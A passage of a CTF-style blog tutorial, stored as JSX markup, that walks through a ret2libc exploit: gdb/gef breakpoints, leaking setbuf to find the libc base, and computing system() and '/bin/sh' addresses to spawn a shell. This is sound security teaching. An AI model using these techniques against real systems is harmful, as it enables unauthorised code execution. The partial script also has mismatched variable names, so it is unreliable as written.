`,(0,l.jsxs)(e.p,{children:["For more details about debugging with ",(0,l.jsx)(e.code,{children:"gdb"}),", Check out the ",(0,l.jsx)(e.a,{href:"https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top",children:"man page"})]}),` `]}),` `,(0,l.jsxs)(e.p,{children:["As we have a ",(0,l.jsx)(e.code,{children:"gdb"})," session attached to our process, let's pop down into ",(0,l.jsx)(e.code,{children:"gef"})," and the ",(0,l.jsx)(e.code,{children:"gdb"})," function and set a few breakpoints."]}),` `,(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.em,{children:"What are breakpoints?"})," I'm glad you asked! A breakpoint is a method that instructs the ",(0,l.jsx)(e.code,{children:"gdb"})," debugger to suspend execution at a certain condition, point in a source code file, specific arguments, a particular function, etc."]}),` `,(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.em,{children:"Why would we use a breakpoint?"})," When we stop executing the function, we can look around a binary and inspect what our memory looks like."]}),` `,(0,l.jsxs)(e.p,{children:["Let's set a few breakpoints, one at ",(0,l.jsx)(e.code,{children:"do_stuff()"})," and a second one at the end of ",(0,l.jsx)(e.code,{children:"do_stuff()"}),". In our ",(0,l.jsx)(e.code,{children:"gdb"})," session, we can set a breakpoint using the keyword ",(0,l.jsx)(e.code,{children:"breakpoint"})," or, for short ",(0,l.jsx)(e.code,{children:"b"}),". The ",(0,l.jsx)(e.code,{children:"b"})," arguments accepts a range of options. We're going to use two, one to set a breakpoint at the function named ",(0,l.jsx)(e.code,{children:"do_stuff"})," in our program:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"do_stuff"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["And let's set another breakpoint at the end of the ",(0,l.jsx)(e.code,{children:"do_stuff"})," function. How do we know where the end of the ",(0,l.jsx)(e.code,{children:"do_stuff"})," function is in memory? Let's ",(0,l.jsx)(e.code,{children:"disassemble"}),", or break up our program and look at the function ",(0,l.jsx)(e.code,{children:"do_stuff"})," in memory."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"disassemble"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"do_stuff"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"Dump"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"of"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"assembler"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"code"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"for"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"function"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"do_stuff:"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x00000000004006d8"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" <"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"0>"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"push"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"rbp"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x00000000004006d9"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" <"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"1>"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"mov"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"rbp,rsp"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x00000000004006dc"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" <"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"4>"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"sub"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"rsp,0x90"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x00000000004006e3"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" <"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+1"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"1>"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"mov"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"QWORD"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"PTR"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" [rbp-0x10],0x0"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# ..."})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x000000000040076e"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" <"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+15"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"0>"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"nop"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x000000000040076f"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" <"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+15"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"1>"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"leave"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x0000000000400770"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" <"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"+15"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"2>"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"ret"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["At the very bottom we'll see an address of the ",(0,l.jsx)(e.code,{children:"ret"})," instruction. Let's set a breakpoint when our program calls ",(0,l.jsxs)(e.em,{children:["this ",(0,l.jsx)(e.code,{children:"ret"})," instruction"]}),". Since we want to set the breakpoint at this instruction, we'll need to set a breakpoint at the value that's pointed to by the final address:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#E5C07B"},children:"*"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"0x0000000000400770"})]})})})}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591641/ari-io/writing/heres-a-libc/breakpoints_ks7bl8.png",alt:"breakpoints"})}),` `,(0,l.jsxs)(e.p,{children:["With our breakpoints set in place, let's kick the tires and light the fires of running the program using the ",(0,l.jsx)(e.code,{children:"continue"})," keyword, or ",(0,l.jsx)(e.code,{children:"c"})," for short. When ",(0,l.jsx)(e.code,{children:"gdb"})," runs into our breakpoints, it'll halt and allow us to explore the memory."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"c"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["We'll notice ",(0,l.jsx)(e.code,{children:"gdb"})," stops executing at the beginning of ",(0,l.jsx)(e.code,{children:"do_stuff"})," and we can see all the memory, the different registers, and even incrementally execute the function. Let's increment the execution by 1 using the command ",(0,l.jsx)(e.code,{children:"si"})," (or ",(0,l.jsx)(e.code,{children:"step into"}),"):"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591641/ari-io/writing/heres-a-libc/do_stuff-1_o3zo2v.png",alt:"incremental examination"})}),` `,(0,l.jsxs)(e.p,{children:["We can press ",(0,l.jsx)(e.code,{children:"si"})," again or just press ",(0,l.jsx)(e.code,{children:"enter"})," to allow our program to take a step by step execution. After we let the program ",(0,l.jsx)(e.code,{children:"vuln"})," execute each function for a while (by continuously pressing ",(0,l.jsx)(e.code,{children:"enter"})," or ",(0,l.jsx)(e.code,{children:"si"}),") for about 20-ish times, we find where our program breaks and prints the ",(0,l.jsx)(e.code,{children:"log.info()"})," function from our python script:"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591642/ari-io/writing/heres-a-libc/do_stuff-log-1_qvmw4a.png",alt:"incremental examination logging"})}),` `,(0,l.jsxs)(e.blockquote,{children:[` `,(0,l.jsxs)(e.p,{children:["Trick: It takes a while to ",(0,l.jsx)(e.code,{children:"step into"})," each line of execution, but if we use the ",(0,l.jsx)(e.code,{children:"ni"})," or ",(0,l.jsx)(e.code,{children:"next into"}),", which doesn't show us the execution of ",(0,l.jsx)(e.em,{children:"every single line of execution"}),", but instead shows us every line at the level of code we're executing, this process can go a bit quicker."]}),` `]}),` `,(0,l.jsxs)(e.p,{children:["Let's examine what's in the memory address of the ",(0,l.jsx)(e.code,{children:"leak"})," variable, or the location we found as the location of ",(0,l.jsx)(e.code,{children:"setbuf"}),". The output of our program at this point is:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:">$ ./pwner.py"})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[+] Starting local process "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'./vuln'"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:": pid 5963"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[*] running "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"in"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" new terminal: /usr/bin/gdb -q "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"./vuln"'}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" 5963"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[+] Waiting "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"for"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" debugger: Done"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[*] leaked: hex("}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"leak"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")="}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'0x7f8bc8de6540'"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[*] base address of libc: hex("}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"base_address_of_libc"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")="}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'0x7f8bc8d5e000'"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[*] system address "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"in"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" libc: hex("}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"system_address"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")="}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"'0x7f8bc8dad4e0'"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"[*] Switching to interactive mode"})})]})})}),` `,(0,l.jsxs)(e.p,{children:["Checking, or examining (using the ",(0,l.jsx)(e.code,{children:"x"})," keyword) leaded value is pointing to ",(0,l.jsx)(e.code,{children:"setbuf"})," as we expect it does:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"x/gx"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x7f8bc8de6540"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x7f8bc8de6540"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" <"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"setbu"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"f>"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x8c76e900002000ba"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["To check the base address of libc, we can look at where the ",(0,l.jsx)(e.em,{children:"virtual memory"}),", or the memory loaded in the program by using the ",(0,l.jsx)(e.code,{children:"vm"})," keyword in gdb and confirm ",(0,l.jsx)(e.code,{children:"libc"})," is loaded at that address."]}),` `,(0,l.jsxs)(e.p,{children:["Since we're here, let's also make sure our pointer to ",(0,l.jsx)(e.code,{children:"system"})," function we found, the last logging statement we made, let's make sure that's showing the address of ",(0,l.jsx)(e.code,{children:"system"})," loaded in ",(0,l.jsx)(e.code,{children:"libc"}),"."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"x/gx"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x7f8bc8dad4e0"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x7f8bc8dad4e0"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" <"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"syste"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"m>"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:":"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0xfa66e90b74ff8548"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Awesome! We're right at where we wanted to see. Now we know that our system calculation is correct. We'll come back to debugging in a few moments when we're looking for ",(0,l.jsx)(e.code,{children:"/bin/sh"}),"."]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.strong,{children:"Back to system"})}),` `,(0,l.jsxs)(e.p,{children:["Now we have the ",(0,l.jsx)(e.code,{children:"system()"}),' address, we just need one more thing! We need to add the string "/bin/sh" to our ',(0,l.jsx)(e.code,{children:"system()"})," call. Without this, we are just calling ",(0,l.jsx)(e.code,{children:"system()"})," with no arguments, which won't give us a shell."]}),` `,(0,l.jsxs)(e.p,{children:["Since ",(0,l.jsx)(e.code,{children:"libc.so.6"}),' contains the string "/bin/sh", we can look for the address of ',(0,l.jsx)(e.code,{children:"/bin/sh"})," within that binary. Let's open ",(0,l.jsx)(e.code,{children:"libc.so.6"})," within Ghidra (but don't analyze it -- it'll take a long time) using the ",(0,l.jsx)(e.code,{children:"import"})," or the ",(0,l.jsx)(e.code,{children:"i"})," command."]}),` `,(0,l.jsxs)(e.p,{children:["Once it's loaded, we can search it for the string ",(0,l.jsx)(e.code,{children:"/bin/sh"})," using the ",(0,l.jsx)(e.code,{children:"s"})," command and clicking on ",(0,l.jsx)(e.code,{children:"strings"}),":"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591656/ari-io/writing/heres-a-libc/searching-for-bin-sh_rbetmd.png",alt:"searching for /bin/sh"})}),` `,(0,l.jsxs)(e.p,{children:["We can see the address starting at ",(0,l.jsx)(e.code,{children:"0x002b40fa"})," within ",(0,l.jsx)(e.code,{children:"libc.so.6"}),". Let's store that in our script:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"python","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"python","data-theme":"default",children:[(0,l.jsx)(e.span,{className:"line",children:(0,l.jsx)(e.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# ..."})}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"setbuf_offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0000000000088540"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"base_address_of_libc "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" leak "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"-"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" setbuf_offset"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"log."}),(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"info"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"("}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"f"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"base address of libc: '}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"{"}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"hex"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"(base_address_of_libc)"}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"}"}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:'"'}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:")"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"system_addr_offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"4f4e0"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"system_address "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" base_address_of_libc "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"+"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" system_offset"})]}),` `,(0,l.jsx)(e.span,{className:"line",children:" "}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"bin_sh_offset "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#C678DD"},children:"0x"}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"002b40fa"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:"bin_sh_address "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"="}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" base_address_of_libc "}),(0,l.jsx)(e.span,{style:{color:"#56B6C2"},children:"+"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" bin_sh_offset"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Now we can send our payload to the binary with the argument (",(0,l.jsx)(e.code,{children:"bin_sh_address"}),") and ",(0,l.jsx)(e.code,{children:"system_address"}),"."]}),` `,(0,l.jsxs)(e.p,{children:["Let's come back to ",(0,l.jsx)(e.code,{children:"gdb"})," to confirm that we've landed on the correct address of ",(0,l.jsx)(e.code,{children:"/bin/sh"}),"."]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.code,{"data-language":"bash","data-theme":"default",children:[(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"x/gx"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x002b40fa"})]}),` `,(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"0x2b40fa:"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"Cannot"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"access"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"memory"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"at"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"address"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#D19A66"},children:"0x2b40fa"})]})]})})}),` `,(0,l.jsxs)(e.p,{children:["Hm... this doesn't look right. Let's restart ",(0,l.jsx)(e.code,{children:"gdb"})," (or just rerun the ",(0,l.jsx)(e.code,{children:"vuln"})," binary by pressing ",(0,l.jsx)(e.code,{children:"c"}),"). Let's clear any breakpoints we've set by deleting them: ",(0,l.jsx)(e.code,{children:"delete"})," or just restart ",(0,l.jsx)(e.code,{children:"gdb"})," and set a breakpoint at ",(0,l.jsx)(e.code,{children:"do_stuff"})," like we did above:"]}),` `,(0,l.jsx)(e.div,{"data-rehype-pretty-code-fragment":"",children:(0,l.jsx)(e.pre,{"data-language":"bash","data-theme":"default",children:(0,l.jsx)(e.code,{"data-language":"bash","data-theme":"default",children:(0,l.jsxs)(e.span,{className:"line",children:[(0,l.jsx)(e.span,{style:{color:"#61AFEF"},children:"gef>"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"b"}),(0,l.jsx)(e.span,{style:{color:"#ABB2BF"},children:" "}),(0,l.jsx)(e.span,{style:{color:"#98C379"},children:"do_stuff"})]})})})}),` `,(0,l.jsxs)(e.p,{children:["When we hit the ",(0,l.jsx)(e.code,{children:"scanf"})," inside of the ",(0,l.jsx)(e.code,{children:"do_stuff"})," function, let's take note of the address in ",(0,l.jsx)(e.code,{children:"$rsi"})," (for me, it's ",(0,l.jsx)(e.code,{children:"0x00007ffe43f2a910"}),"):"]}),` `,(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://res.cloudinary.com/auser/image/upload/v1662591650/ari-io/writing/heres-a-libc/grab-input_p3nmn2.png",alt:"grab input"})}),` `,(0,l.jsxs)(e.p,{children:["Now let's use one really neat feature of ",(0,l.jsx)(e.code,{children:"gef"})," to dereference, or display information of the ",(0,l.jsx)(e.code,{children:"$rsi"})," register called 